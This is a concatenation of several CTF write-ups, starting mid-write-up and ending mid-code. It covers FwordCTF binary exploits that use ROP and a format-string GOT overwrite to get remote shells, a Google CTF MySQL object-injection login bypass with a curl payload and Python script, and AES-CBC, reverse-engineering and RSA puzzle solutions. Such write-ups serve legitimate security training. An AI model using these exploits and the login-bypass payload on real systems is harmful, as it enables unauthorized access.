At this point however we still do not know the version of libc, we'll have to run this remotely and harvest the last 3 nibbles of the `puts` address to use the [libc-database](https://github.com/niklasb/libc-database) (example [here](https://github.com/datajerk/ctf-write-ups/blob/master/fwordctf2020/welcome_pwner/README.md#decompile-with-ghidra)).
After identifying `libc6_2.30-0ubuntu2.2_amd64` as the libc version, we can put that into the second block in the setup and switch to that for the rest of the exploit development.
> Don't forget to `./download libc6_2.30-0ubuntu2.2_amd64` from within the `libc-directory`.
### Second Pass: get a shell, get a flag
```pythonp.recvuntil('>>')p.sendline('gomugomunomi')p.recvuntil('Wanna tell Luffy something ? : \n')
payload = 0x38 * b'A'payload += p64(pop_rdi + 1)payload += p64(pop_rdi)payload += p64(libc.search(b"/bin/sh").__next__())payload += p64(libc.sym.system)
p.sendline(payload)p.interactive()```
From `choice`, just use the secret word `gomugomunomi`, but this time the payload invokes `system` for a shell--_remotely_, not _locally_...
The second block in the setup while it allows using the challenge binary with the challenge libc on a system with a different native libc, it will not (in most cases), run `/bin/sh` from that system since the `LD_LIBRARY_PATH` is setup specifically for the challenge binary. Most likely you'll get a segfault and it may be confusing as to why. The segfault _is_ from the challenge binary, the `system` actually failed to run `/bin/sh` locally because of the aforementioned and continued execution of the program; and with an overflowed stack it is destined to segfault.
To confirm `system` actually did invoke I use gdb. To do this I just put a `pause()` before the final `sendline` call, then connect with, gdb, e.g.:
```gef one_piece $(pidof /pwd/datajerk/fwordctf2020/one_piece/libc-database/libs/libc6_2.30-0ubuntu2.2_amd64/ld-2.30.so)```
> We're using the correct `ld` for the challenge `libc`, hence the _not-so-obvious_ `pidof` above.
From within gdb type:
```gefβ€ set follow-fork-mode childgefβ€ cContinuing.```
Then, back to `./exploit.py`, press Enter/Return to unpause, and then from the gdb session you should get:
```[New process 26740]process 26740 is executing new program: /bin/dash```
That is evidence `system` worked.
> The `payload += p64(pop_rdi + 1)` fixes a [stack alignment](https://blog.binpang.me/2019/07/12/stack-alignment/) issue with `system`, `printf`, etc... sometimes you need it, other times you do not. In this case it is needed with the remote server.
Now, just change the second block in the setup section to use the remote server and get the flag.
Output:
```bash# ./exploit.py[*] '/pwd/datajerk/fwordctf2020/one_piece/one_piece' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled[*] '/pwd/datajerk/fwordctf2020/one_piece/libc-database/libs/libc6_2.30-0ubuntu2.2_amd64/ld-2.30.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled[*] '/pwd/datajerk/fwordctf2020/one_piece/libc-database/libs/libc6_2.30-0ubuntu2.2_amd64/libc-2.30.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to onepiece.fword.wtf on port 1238: Done[*] mugiwara: 0x55ad7272d998[*] binary.address: 0x55ad7272d000[*] Loaded 14 cached gadgets for './one_piece'[*] pop_rdi: 0x55ad7272dba3[*] puts: 0x7fa3c865b490[*] libc.address: 0x7fa3c85d4000[*] Switching to interactive mode$ iduid=1000(fword) gid=1000(fword) groups=1000(fword)$ ls -ltotal 40-rw-r--r-- 1 root root 28 Aug 29 01:09 flag.txt-rwxrwxr-x 1 root root 13016 Aug 29 18:46 one_piece-rwxr-xr-x 1 root root 18744 Aug 29 01:05 ynetd$ cat flag.txtFwordCTF{0nE_pi3cE_1s_Re4l}```
|
# FwordCTF 2020
## One Piece Remake
> 487> > Luffy has learned something new.>> `nc onepiece.fword.wtf 1236`>> Author : haflout>> [`One Piece Remake`](one_piece_remake)
Tags: _pwn_ _x86_ _remote-shell_ _format-string_ _got-overwrite_
## Summary
Shellcode or format-string or GOT overwrite, pick your poison or two.
## Analysis
### Checksec
``` Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments```
No mitigations in place. Choose your own adventure.
### Decompile with Ghidra
```cundefined4 mugiwara(void){ char local_70 [104]; puts("what\'s your name pirate ?"); printf(">>"); read(0,local_70,100); printf(local_70); return 0;}```
I went the format-string vulnerability route. And there is it, `printf(local_70);`, and you can run it as many times as you like.
With no PIE, there's no need to leak the base address to get to the GOT, but we'll still need the libc version and location. With that in hand, just overwrite `printf` with `system` to get a shell.
## Exploit
### Setup
> See [_Welcome Pwner Exploit Setup_](https://github.com/datajerk/ctf-write-ups/blob/master/fwordctf2020/welcome_pwner/README.md#setup) for a detailed explanation of why I start my exploits this way:
```python#!/usr/bin/env python3
from pwn import *
binary = context.binary = ELF('./one_piece_remake')context.log_level = 'INFO'context.log_file = 'log.log'
'''# local libclibc = binary.libcp = process(binary.path)'''# task libclibid = 'libc6_2.30-0ubuntu2.2_i386'libpath = os.getcwd() + '/libc-database/libs/' + libid + '/'ld = ELF(libpath + 'ld-2.30.so')libc = ELF(libpath + 'libc-2.30.so')#p = process([ld.path, binary.path], env={'LD_LIBRARY_PATH': libpath})p = remote('onepiece.fword.wtf', 1236)#'''```
The setup above is the final version, but before we can get there, we'll start with our local libc block, then switch to the challenge libc after discovered.
### First Pass: get libc version and location
```pythonoffset = 7
p.recvuntil('>>')p.sendline('gomugomunomi')p.recvuntil('>>')
payload = b'%' + str(offset+1).encode() + b'$s'payload += p32(binary.got.puts)p.sendline(payload)
_ = p.recv(4)puts = u32(_)log.info('puts: ' + hex(puts))libc.address = puts - libc.sym.putslog.info('libc.address: ' + hex(libc.address))```
First we need to find the `offset` of the buffer in the stack before we can use any format-string exploits. To do this simply enter `%1$p` as your _pirate name_ incrementing the digit until the output (in hex (little endian)) matches your input. `7` will be the `offset`.
> Read [_dead-canary_](https://github.com/datajerk/ctf-write-ups/blob/master/redpwnctf2020/dead-canary/README.md) for all the different ways to find offsets and abuse format-strings.
After finding the `offset`, use the `%s` flag to leak the location of `puts`, then compute the base of libc.
After testing locally, test remotely to get the last 3 nibbles of `puts` to then find libc using the [libc-database](https://github.com/niklasb/libc-database) (example [here](https://github.com/datajerk/ctf-write-ups/blob/master/fwordctf2020/welcome_pwner/README.md#decompile-with-ghidra)).
### Second Pass: GOT overwrite `printf` with `system`
```pythonp.recvuntil('>>')p.sendline('gomugomunomi')p.recvuntil('>>')
payload = fmtstr_payload(offset,{binary.got.printf:libc.sym.system},numbwritten=0)p.sendline(payload)```
Not a lot here. Just overwrite `printf` with `system`.
### Third Pass: get a shell, get a flag (maybe)
```pythontime.sleep(0.5)p.sendline('gomugomunomi')time.sleep(0.5)p.recvuntil('what\'s your name pirate ?')p.sendline('/bin/sh')p.interactive()```
With `printf` taken out, we'll be flying blind, `puts` statements will make it through, but `printf` will just be `system` errors. A few sleeps will take care of the chaos. And with a pirate name of `/bin/sh`, well, how can we lose?
Output:
```bash# ./exploit.py[*] '/pwd/datajerk/fwordctf2020/one_piece_remake/one_piece_remake' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments[*] '/pwd/datajerk/fwordctf2020/one_piece_remake/libc-database/libs/libc6_2.30-0ubuntu2.2_i386/ld-2.30.so' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled[*] '/pwd/datajerk/fwordctf2020/one_piece_remake/libc-database/libs/libc6_2.30-0ubuntu2.2_i386/libc-2.30.so' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to onepiece.fword.wtf on port 1236: Done[*] puts: 0xf7ddcb70[*] libc.address: 0xf7d6b000[*] Switching to interactive mode
$ iduid=1000(fword) gid=1000(fword) groups=1000(fword)$ ls -ltotal 32-rw-rw-r-- 1 root root 47 Aug 29 01:06 flag.txt-r-x--x--x 1 root root 7656 Aug 29 01:06 one_piece_remake-rwxr-xr-x 1 root root 18744 Aug 29 01:05 ynetd$ cat flag.txt```
Ummm... no flag?
```$ grep -v blah flag.txtFwordCTF{i_4m_G0inG_t0_B3coM3_th3_p1r4Te_K1NG}```
Oh, there it is.
To be extra annoying, they made `cat`, `head`, `tail`, etc... useless. Be creative. |
# Numbers
We are given a 64-bit executable:```bash$ file numbersnumbers: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=8f76f3042db00cbbb5da977e530fac85c27dff93, stripped```
The following protections are enabled:```bashchecksec numbers[*] '/home/vagrant/CTF/fword/numbers/numbers' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled```
We see that no stack canary is present. This usually means that there will be a buffer overflow we can exploit.
The program asks for a number `<=60`, asks us if we are sure and then repeats the whole process, as long as we do not answer `n` to the `try again ?` dialogue:```bash ./numbers
do you have any number in mind ??42are yo sure ??yesyes
try again ?sure
do you have any number in mind ??are yo sure ??
try again ?```
Time to analyze the programm. The function `are_you_sure` reads up to the number of bytes we specified and then prints this out using `printf("%s", buf);`. Here lies the first weakness. The string we provide is reflected without being `null` terminated. Thus, we can leak addresses on the stack by providing a string that is a multiple of 8 bytes long (including `\n`).
```c__int64 __fastcall are_you_sure(unsigned int num){ char buf[64]; // [rsp-40h] [rbp-40h] BYREF
puts("are yo sure ??"); read(0, buf, num); printf("%s", buf); return 0LL;}```
We can leak the PIE base using this code:```pythondef leak_addr(number): io.sendlineafter("do you have any number in mind ??", str(number)) payload = "A"*(number-1) io.sendlineafter("are yo sure ??", payload) io.recvline() io.recvline() leak = io.recvline() leak = u64(leak.strip().ljust(8, "\x00")) return leak```
Now we need to find a way to control `RIP`. The `read_number` function verifies whether our number is less or equal than 60.The program converts our inpupt to an unsigned integer, but performs a signed comparison. By providing a negative number, we can makes the signed check true,but then return on a huge unsigned number as return value. This number will then be used in the `are_you_sure` function (see above) to read that many bytes into a 64-byte buffer. Because canaries are disabled, we can get RIP control easily.
```c__int64 __fastcall read_number(int *num){ __int64 result; // rax char buf; // [rsp-8h] [rbp-8h] BYREF
puts("\ndo you have any number in mind ??"); read(0, &buf, 8uLL); *num = atoi(&buf;; result = (unsigned int)*num; if ( (int)result <= 60 ) return result; puts("you're a naughty boy.."); exit(1); return result;}```
We now use this overflow to leak a libc adress (puts) and return to the start of main, so we can exploit the buffer overflow again:```pythonio.sendlineafter("try again ?", "")io.sendlineafter("do you have any number in mind ??", "-3") # negative number <=60 in signed comparision. Will read a lot of data
# Rop chain to leak libcrop_exe = ROP(exe)rop_exe.puts(exe.got.puts)rop_exe.call(piebase + 0x9c5) # main
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # locallibc = ELF('./libc6_2.28-0ubuntu1_amd64.so') # remote
# create payloadpayload = "A"*64payload += "B"*8payload += str(rop_exe)
io.sendafter("are yo sure ??", payload)io.recvuntil("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB")```
Analyzing the address of the leak and using the [libc database](https://libc.blukat.me/) we identify that `libc6_2.28-0ubuntu1_amd64.so` is used on the remote server. Knowing this, we can exploit the buffer overflow a second time, now calling `system('/bin/sh')`. We just have to make sure that `RSP` is 0x10 bytes aligned (which it was not if called directly). We could do this using a `pop` gadget or by calling puts with some value and hoping to have better alignment:
```pythonio.sendlineafter("do you have any number in mind ??", "-3") # negative number <=60 in signed comparision. Will read a lot of data
# create system('/bin/sh') rop chainrop = ROP(libc)rop.puts(libc.sym.puts) # stupid pivot because of 0x10 alignment for rsprop.system(next(libc.search("/bin/sh")))
#print rop.dump()
payload = "A"*64payload += "B"*8payload += str(rop)
io.sendafter("are yo sure ??", payload)io.recvuntil("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB")
io.interactive()```
Running the script gives us a shell and we can read the flag:
```bash$ numbers python xpl.py[*] '/home/vagrant/CTF/fword/numbers/numbers' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to numbers.fword.wtf on port 1237: Done[+] piebase: 0x5560f04c7000[*] Loaded 14 cached gadgets for 'numbers'[*] '/home/vagrant/CTF/fword/numbers/libc6_2.28-0ubuntu1_amd64.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] libc address: 0x7f22d22fc000[*] Loaded 196 cached gadgets for './libc6_2.28-0ubuntu1_amd64.so'[*] Switching to interactive modeoοΏ½1οΏ½"AUATI\x89οΏ½USHοΏ½οΏ½?οΏ½οΏ½lsflag.txtnumbersynetd$ cat flag.txtFwordCTF{s1gN3d_nuMb3R5_c4n_b3_d4nG3r0us}$```
The full exploit can be found in [xpl.py](https://github.com/ybieri/ctf-writeups/blob/master/FwordCTF2020/numbers/xpl.py). |
# Log Me In
Author: [roerohan](https://github.com/roerohan)
# Requirements
- Express.js- Body Parser
# Source
- https://log-me-in.web.ctfcompetition.com/
```Log in to get the flag```
```js/** * @fileoverview Description of this file. */
const mysql = require('mysql');const express = require('express');const cookieSession = require('cookie-session');const cookieParser = require('cookie-parser');const bodyParser = require('body-parser');
const flagValue = "..."const targetUser = "michelle"
const { v4: uuidv4} = require('uuid');
const app = express();app.set('view engine', 'ejs');app.set('strict routing', true);
/* strict routing to prevent /note/ paths etc. */app.set('strict routing', true)app.use(cookieParser());
/* secure session in cookie */app.use(cookieSession({ name: 'session', keys: ['...'] //don't even bother}));
app.use(bodyParser.urlencoded({ extended: true}))
app.use(function(req, res, next) { if(req && req.session && req.session.username) { res.locals.username = req.session.username res.locals.flag = req.session.flag } else { res.locals.username = false res.locals.flag = false } next()});
/* server static files from static folder */app.use('/static', express.static('static'))
app.use(function( req, res, next) { if(req.get('X-Forwarded-Proto') == 'http') { res.redirect('https://' + req.headers.host + req.url) } else { if (process.env.DEV) { return next() } else { return next() } }});// MIDDLEWARE ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
/* csrf middleware, csrf_token stored in the session cookie */const csrf = (req, res, next) => { const csrf = uuidv4(); req.csrf = req.session.csrf || uuidv4(); req.session.csrf = csrf; res.locals.csrf = csrf;
nocache(res);
if (req.method == 'POST' && req.csrf !== req.body.csrf) { return res.render('index', {error: 'Invalid CSRF token'}); }
next();}
/* disable cache on specifc endpoints */const nocache = (res) => { res.setHeader('Cache-Control', 'no-store, no-cache, must-revalidate, proxy-revalidate'); res.setHeader('Pragma', 'no-cache'); res.setHeader('Expires', '0');}
/* auth middleware */const auth = (req, res, next) => { if (!req.session || !req.session.username) { return res.render('index', {error:"You must be logged in to access that"}); } next()}
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~`app.get('/logout', (req, res) => { req.session = null; res.redirect('/');});
app.get('/', csrf, (req, res) => { res.render('index');});
app.get('/about', (req, res) => { res.render('about');
});app.get('/me', auth, (req, res) => { res.render('profile');});
app.get('/flag', csrf, auth, (req, res) => { res.render('premium')});
app.get('/login', (req, res) => { res.render('login');});
app.post('/login', (req, res) => { const u = req.body['username']; const p = req.body['password'];
const con = DBCon(); // mysql.createConnection(...).connect()
const sql = 'Select * from users where username = ? and password = ?'; con.query(sql, [u, p], function(err, qResult) { if(err) { res.render('login', {error: `Unknown error: ${err}`}); } else if(qResult.length) { const username = qResult[0]['username']; let flag; if(username.toLowerCase() == targetUser) { flag = flagValue } else{ flag = "<span>Only Michelle's account has the flag</span>"; } req.session.username = username req.session.flag = flag res.redirect('/me'); } else { res.render('login', {error: "Invalid username or password"}) } });});
/* * ...SNIP... */
```
# Exploitation
When you look at the source code, you'll notice the following snippet:
```jsapp.use(bodyParser.urlencoded({ extended: true}))```
This tells body parser to allow arrays and objects in the request body. So you can pass things like:
```username[]=a&username[]=b
This is interpreted as username = ['a', 'b']
Similarly,
username[hello]=a
Is interpreted as username = {hello: 'a'}```
Now, you see in the `/login` POST route that the output has not been stringified (no `.toString()`). Which means it is possible to pass an object in the query statement.
```jsconst sql = 'Select * from users where username = ? and password = ?';con.query(sql, [u, p], function(err, qResult) {...});```
Now, let's see if passing an objectto the `con.query` function might help us. We'll refer to the official `mysql` [docs](https://www.npmjs.com/package/mysql#escaping-query-values).
Take a look at this example:
```jsvar post = {id: 1, title: 'Hello MySQL'};var query = connection.query('INSERT INTO posts SET ?', post, function (error, results, fields) { if (error) throw error; // Neat!});console.log(query.sql); // INSERT INTO posts SET `id` = 1, `title` = 'Hello MySQL'```
We can see that objects are converted into comma separated attributes. We know that the username is supposed to be `michelle`, but we do not know the password. So, we can try to pass an object in the place of password, with a known attribute. Here's the payload I tried:
```csrf&username=michelle&password[username]=michelle```
This makes `password` an object as shown below:
```js{ username: 'michelle',}```
Now, the query becomes something like:
```jscon.query('Select * from users where username = ? and password = ?', ['michelle', {username: 'michelle'}], function(err, qResult) {...});```
This actually evaluates to:
```js"Select * from users where username = 'michelle' and password = `username` = 'michelle';"```
This works because of the way `mysql` evaluates strings. When you evaluate `'password' = 'username'`, it returns a 0. Then, if you compare `0` and `'michelle'`, `true` is returned. This happens because of the way type-casting is done in `mysql`.
This exploit would work for any string (not just `michelle`) except the ones which get type-casted to a different number.
For example, `0 = '1michelle'` will evaluate to false, since `1michelle` when converted to an integer gives `1`. Therefore, `password[username] = 1michelle` will not allow you to log in successfully. Check out [this](https://stackoverflow.com/questions/22080382/mysql-why-comparing-a-string-to-0-gives-true) link for a more detailed explanation.
Here's the final paylaod.
```bashcurl -i -X POST --data 'csrf&username=michelle&password[username]=michelle' "https://log-me-in.web.ctfcompetition.com/login"
HTTP/2 302 content-type: text/plain; charset=utf-8x-powered-by: Expresslocation: /mevary: Acceptset-cookie: session=eyJ1c2VybmFtZSI6Im1pY2hlbGxlIiwiZmxhZyI6IkNURnthLXByZW1pdW0tZWZmb3J0LWRlc2VydmVzLWEtcHJlbWl1bS1mbGFnfSJ9; path=/; httponlyset-cookie: session.sig=bm5eHrmgRjBNmerS49mKNDV_tP4; path=/; httponlyx-cloud-trace-context: 51c2e656058a1cc31a265b3a8ad0d4b1date: Mon, 24 Aug 2020 06:53:43 GMTserver: Google Frontendcontent-length: 25
Found. Redirecting to /me```
From here, you can just take the cookie you received, and use that to visit `/flag`.
P.S. you can write a python script for the exploit, like the one given below:
```pyimport requestsimport re
url = lambda path: 'https://log-me-in.web.ctfcompetition.com' + path
s = requests.Session()
payload = { "username": "michelle", "password[username]": "michelle", "csrf": "",}
r = s.post(url('/login'), data=payload)
r = s.get(url('/flag'))
if re.search(r'CTF{.*}', r.text): print(r.text)
```
You can run this script and use `grep` to find the flag.
```bash$ python solve.py | grep CTF Flag: CTF{a-premium-effort-deserves-a-premium-flag}```
Flag: CTF{a-premium-effort-deserves-a-premium-flag}
The flag is:
``` CTF{a-premium-effort-deserves-a-premium-flag}``` |
For this first challenge we are given the following python file```pythonfrom Crypto.Cipher import AESimport binascii, sysimport hashlib
key = b'T0EyZaLRzQmNe2**'KEYSIZE = len(key)assert(KEYSIZE==16)
def pad(message): p = bytes((KEYSIZE - len(message) % KEYSIZE) * chr(KEYSIZE - len(message) % KEYSIZE),encoding='utf-8') return message + p
def encrypt(message,passphrase,iv): aes = AES.new(passphrase, AES.MODE_CBC, iv) return aes.encrypt(message)
h = hashlib.md5(key).hexdigest()SECRET = binascii.unhexlify(h)[:10]
with open('flag','rb') as f: IV = f.read().strip(b'gactf{').strip(b'}')
message = b'AES CBC Mode is commonly used in data encryption. What do you know about it?'+SECRET
print("Encrypted data: ", binascii.hexlify(encrypt(pad(message),key,IV)))
'''Encrypted data: b'a8**************************b1a923**************************011147**************************6e094e**************************cdb1c7**********a32c412a3e7474e584cd72481dab9dd83141706925d92bdd39e4''''```
Let's have a look at what we have. at the top of the file there is a key `T0EyZaLRzQmNe2**`, the `*` seems to indicatemissing characters so we have a key with 2 missing characters.
Next we hafve a classic padding function, followed by an AES-CBC encrypt. The flag is used as the IV of our encrypted message, and an hash of the key isappended to the message we are encrypting.
At the end of the file is the output of the encryption, with some missing characters.
First we need to create a function to decrypt a message, given a passphrase and an IV.```pythondef decrypt(message, passphrase, iv): aes = AES.new(passphrase, AES.MODE_CBC, iv) return aes.decrypt(message)```
The next step is to determine the key used to encrypt our message. Luckily we have the last block intact `72481dab9dd83141706925d92bdd39e4`.During the encryption the previous block was used to encrypt this one, as the encryption is in CBC mode, the previous block is `c7**********a32c412a3e7474e584cd`.As the length of the encrypted string doesn't change, we now that the last 10 characters are padding, and are 0xA. They are the only characters we need to be able to guess the key
I then tried all combinations of printable characters to find the correct key
```pythonimport string
def find_key(): keytmp = 'T0EyZaLRzQmNe2{}{}' for c1 in string.printable: for c2 in string.printable: tmp = decrypt(binascii.unhexlify('72481dab9dd83141706925d92bdd39e4'), keytmp.format(c1, c2).encode('utf8'), binascii.unhexlify('0' * 12 + 'a32c412a3e7474e584cd')) if int(tmp[-2]) < 0x10 and tmp[-1] == tmp[-2] and tmp[-2] == tmp[-3]: return keytmp.format(c1, c2).encode('utf8')
print(find_key().decode('utf8'))```
which output `T0EyZaLRzQmNe2pd`. Now that we now the key, we can have the encrypted message:
```pythonb'AES CBC Mode is commonly used in data encryption. What do you know about it?\xfc\x89\xb4\xd5\xe2\x0b\xd2\xc6U\xae'```
Using an arbitrary IV, we can encrypt the message, then use it to get the original encrypted message, and finally the flag
```pythonIV = b'yellow_submarine'
arbitrary = binascii.hexlify(encrypt(pad(message), key, IV))encrypted = 'a8**************************b1a923**************************011147**************************6e094e**************************cdb1c7**********a32c412a3e7474e584cd72481dab9dd83141706925d92bdd39e4'.replace('*', '0')encrypted = [encrypted[i:i+32] for i in range(0, len(encrypted), 32)]arbitrary = [arbitrary[i:i+32] for i in range(0, len(arbitrary), 32)]
def guess_block(flag_block, correct_block, correct_iv): c1 = decrypt(binascii.unhexlify(flag_block), key, binascii.unhexlify(b'0' * 32)) c2 = decrypt(binascii.unhexlify(correct_block), key, binascii.unhexlify(correct_iv)) result = b'' for i in range(16): result += bytes([c1[i] ^ c2[i]]) return binascii.hexlify(result)
for i in range(1, len(arbitrary) + 1): if i == len(arbitrary): e2 = binascii.hexlify(IV) else: e2 = arbitrary[-i - 1] tmp = guess_block(encrypted[-i], arbitrary[-i], e2) if i == len(arbitrary): flag = binascii.unhexlify(tmp) else: encrypted[-i - 1] = tmp
print(flag.decode('utf8'))```
```9j_for_aes_cbc!!``` |
Short Writeup : [https://medium.com/bugbountywriteup/vault-101-samsung-ctf-android-reverse-engineering-challenge-write-up-d5a2b16a9212](https://medium.com/bugbountywriteup/vault-101-samsung-ctf-android-reverse-engineering-challenge-write-up-d5a2b16a9212)
Detailed Writeup : [https://saket-upadhyay.github.io/2020/08/18/sstf-vault-wtireup.html](https://saket-upadhyay.github.io/2020/08/18/sstf-vault-wtireup.html) |
I opened the binary in IDA, and looked at the import table. I looked at the XRef of CryptDecrypt.The function calling it didn't seem to have much of a verification, so I jump to the XRef of this function.
The interesting part of the function is```cv35 = GetDlgItem(hWndParent, 4);sub_406920(&v58, 0, 50);GetWindowTextA(v35, (LPSTR)&Paint, 32);v36 = strlen((const char *)&Paint);if ( v36 >= 6 ){ v37 = SLOBYTE(Paint.fErase) % 7; v38 = 1; for ( i = 2; i < v37; ++i ) v38 *= (_BYTE)i; v40 = 0; if ( (unsigned int)v36 >= 0x40 ) { v41 = _mm_cvtsi32_si128(v38); v42 = _mm_unpacklo_epi8(v41, v41); v43 = _mm_shuffle_epi32(_mm_unpacklo_epi16(v42, v42), 0); do { *(__int128 *)((char *)&v58 + v40) = (__int128)_mm_xor_si128(*(__m128i *)((char *)&Paint.hdc + v40), v43); *(__int128 *)((char *)&v59 + v40) = (__int128)_mm_xor_si128( *(__m128i *)((char *)&Paint.rcPaint.right + v40), v43); *(__int128 *)((char *)&v60 + v40) = (__int128)_mm_xor_si128(*(__m128i *)&Paint.rgbReserved[v40], v43); *(__m128i *)((char *)&v61 + v40) = _mm_xor_si128(*(__m128i *)&Paint.rgbReserved[v40 + 16], v43); v40 += 64; } while ( v40 < v36 - v36 % 64 ); } for ( ; v40 < v36; ++v40 ) *((_BYTE *)&v58 + v40) = v38 ^ *((_BYTE *)&Paint.hdc + v40); *((_BYTE *)&v58 + v40) = 0; v44 = 0; do { *((_BYTE *)&v58 + v44) = __ROL1__(*((_BYTE *)&v58 + v44) ^ byte_420AE0[v44], v44); ++v44; } while ( v44 < v36 ); v45 = &v5;; v46 = (char *)&unk_4278D8; v47 = 27; while ( *(_DWORD *)v45 == *(_DWORD *)v46 ) { v45 = (__int128 *)((char *)v45 + 4); v46 += 4; v48 = v47 < 4; v47 -= 4; if ( v48 ) { if ( *(_WORD *)v45 == *(_WORD *)v46 && *((_BYTE *)v45 + 2) == v46[2] ) { MessageBoxA(hWndParent, "orz", "orz", 0); function_calling_decrypt((BYTE *)&Paint); } return 0; } }}```
There still is much to look at. `v58` is the user input, and `v36` is its length.By trying some things here and there, I found out that the user input can't be more than 0x40.Reducing the code to```cv35 = GetDlgItem(hWndParent, 4);sub_406920(&v58, 0, 50);GetWindowTextA(v35, (LPSTR)&Paint, 32);v36 = strlen((const char *)&Paint);if ( v36 >= 6 ){ v37 = SLOBYTE(Paint.fErase) % 7; v38 = 1; for ( i = 2; i < v37; ++i ) v38 *= (_BYTE)i; v40 = 0; for ( ; v40 < v36; ++v40 ) *((_BYTE *)&v58 + v40) = v38 ^ *((_BYTE *)&Paint.hdc + v40); *((_BYTE *)&v58 + v40) = 0; v44 = 0; do { *((_BYTE *)&v58 + v44) = __ROL1__(*((_BYTE *)&v58 + v44) ^ byte_420AE0[v44], v44); ++v44; } while ( v44 < v36 ); v45 = &v5;; v46 = (char *)&unk_4278D8; v47 = 27; while ( *(_DWORD *)v45 == *(_DWORD *)v46 ) { v45 = (__int128 *)((char *)v45 + 4); v46 += 4; v48 = v47 < 4; v47 -= 4; if ( v48 ) { if ( *(_WORD *)v45 == *(_WORD *)v46 && *((_BYTE *)v45 + 2) == v46[2] ) { MessageBoxA(hWndParent, "orz", "orz", 0); function_calling_decrypt((BYTE *)&Paint); } return 0; } }}```
`SLOBYTE(Paint.fErase)` is the 7th character of the user input.`v38` value depends then on this character value modulo 7.The whole user input is then xored with `v38`.Then it is xored again, with `ANNAWGALFYBKVIAHMXTFCAACLAAAAYK`.
The result is then compared with a fixed value.
I made the following script from these observations```c#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <limits.h>
uint8_t rotr32 (uint8_t value, unsigned int count) { // From wikipedia const unsigned int mask = CHAR_BIT * sizeof(value) - 1; count &= mask; return (value >> count) | (value << (-count & mask));}
const unsigned char correct[] = {0x4E, 0xAE, 0x61, 0x0BA, 0x0E4, 0x2B, 0x55, 0x0AA, 0x59, 0x0FC, 0x4D, 0x2, 0x17, 0x6B, 0x13, 0x0A1, 0x41, 0x0FE, 0x35, 0x0B, 0x0B4, 0x0B, 0x52, 0x2F, 0x46, 0x0CC, 0x35, 0x82, 0x0E5, 0x88, 0x50};const unsigned char modif[] = "ANNAWGALFYBKVIAHMXTFCAACLAAAAYK";
int main() { char final[32] = {0}; for (unsigned char i = 0; i < 32; i++) { unsigned char tmp = rotr32(correct[i], i) ^ 0x78 ^ modif[i]; // After a few attemps v38 was 0x78 final[i] = tmp; } printf("%s\n", final); return 0;}```
which output `wannaflag_is_just_a_paper_tigerx`Entering this into the binary give you the flag```GACTF{WannaFlag_is_just_a_easy_re_with_a_beautiful_appearance}``` |
Timing side-channel in BST search.
Link to write-up: [https://github.com/fab1ano/google-ctf-20/tree/master/tracing](https://github.com/fab1ano/google-ctf-20/tree/master/tracing) |
## Strip
### Challenge
> Sometimes it is the people no one imagines anything of who do the things that no one can imagine.
```python#!/usr/bin/python
from Crypto.Util.number import *from secret import flag, r
def a(n): # WARNING: very slow implementation... if n <= 2: return n elif n == 3: return 24 else: return (6*a(n-1)**2*a(n-3) - 8*a(n-1)*a(n-2)**2) // (a(n-2)*a(n-3))
def strip(n): return int(bin(n)[2:].rstrip('0'), 2)
def encrypt(msg, r): n = strip(a(r)) return pow(bytes_to_long(msg.encode('utf-8')), 0x10001 + 0x02, n)
print(encrypt(flag, r))```
### Solution
The challenge's `a(n)` is the [A028365](http://oeis.org/A028365) sequence on OEIS, which has a simpler form (written in PARI) is `a(n) = prod(k=1, n, 2^k-1)*2^((n^2+n)/2)`, and after stripped `a(n)` is only `prod(k=1, n, 2^k-1)`.
We estimated `r` and got `r >= 605`, factored `a(r)` by `FactorDB's API`, but the huge modulus took forever for calculating. So we took 2 prime factors from the factors of `a(r)` and let their product be the new modulus, and we finally got the flag.
Alternate solution uses the estimate of `r >= 60`. We can take all prime factors of `a(60)` that are less than `500000`, and solve `x ** e = enc (mod p)` for each of them by brute force. If we find a unique solution, we recover the value of `flag (mod p)`. We combine these with Chinese Remainder Theorem to finish.
### Implementation
#### Solution 1```pythonfrom factordb.factordb import FactorDBfrom itertools import combinations
c = ZZ(open("./flag.enc", 'r').read())
fac = []for i in range(1, 606): print(i, end=' ') f = FactorDB(2^i - 1) f.connect() fac += f.get_factor_list()
fac2 = sorted(list(set(fac)), reverse=True)
n_ = 1phi_ = 1for i,j in combinations(fac2, 2): n_ = i*j phi_ = (i - 1)*(j - 1) d_ = inverse_mod(e, phi_) m = long_to_bytes(pow(c, d_, n_)) if b'CCTF' in m: print(m) break```
#### Solution 2
```pythonfrom factordb.factordb import FactorDBfrom tqdm import tqdmfrom Crypto.Util.number import long_to_bytes
## modular inverse of a mod b, can be replaced with Crypto.Util.number's inversedef minv(a, b): if a == 1: return 1 return b - minv(b%a, a) * b // a
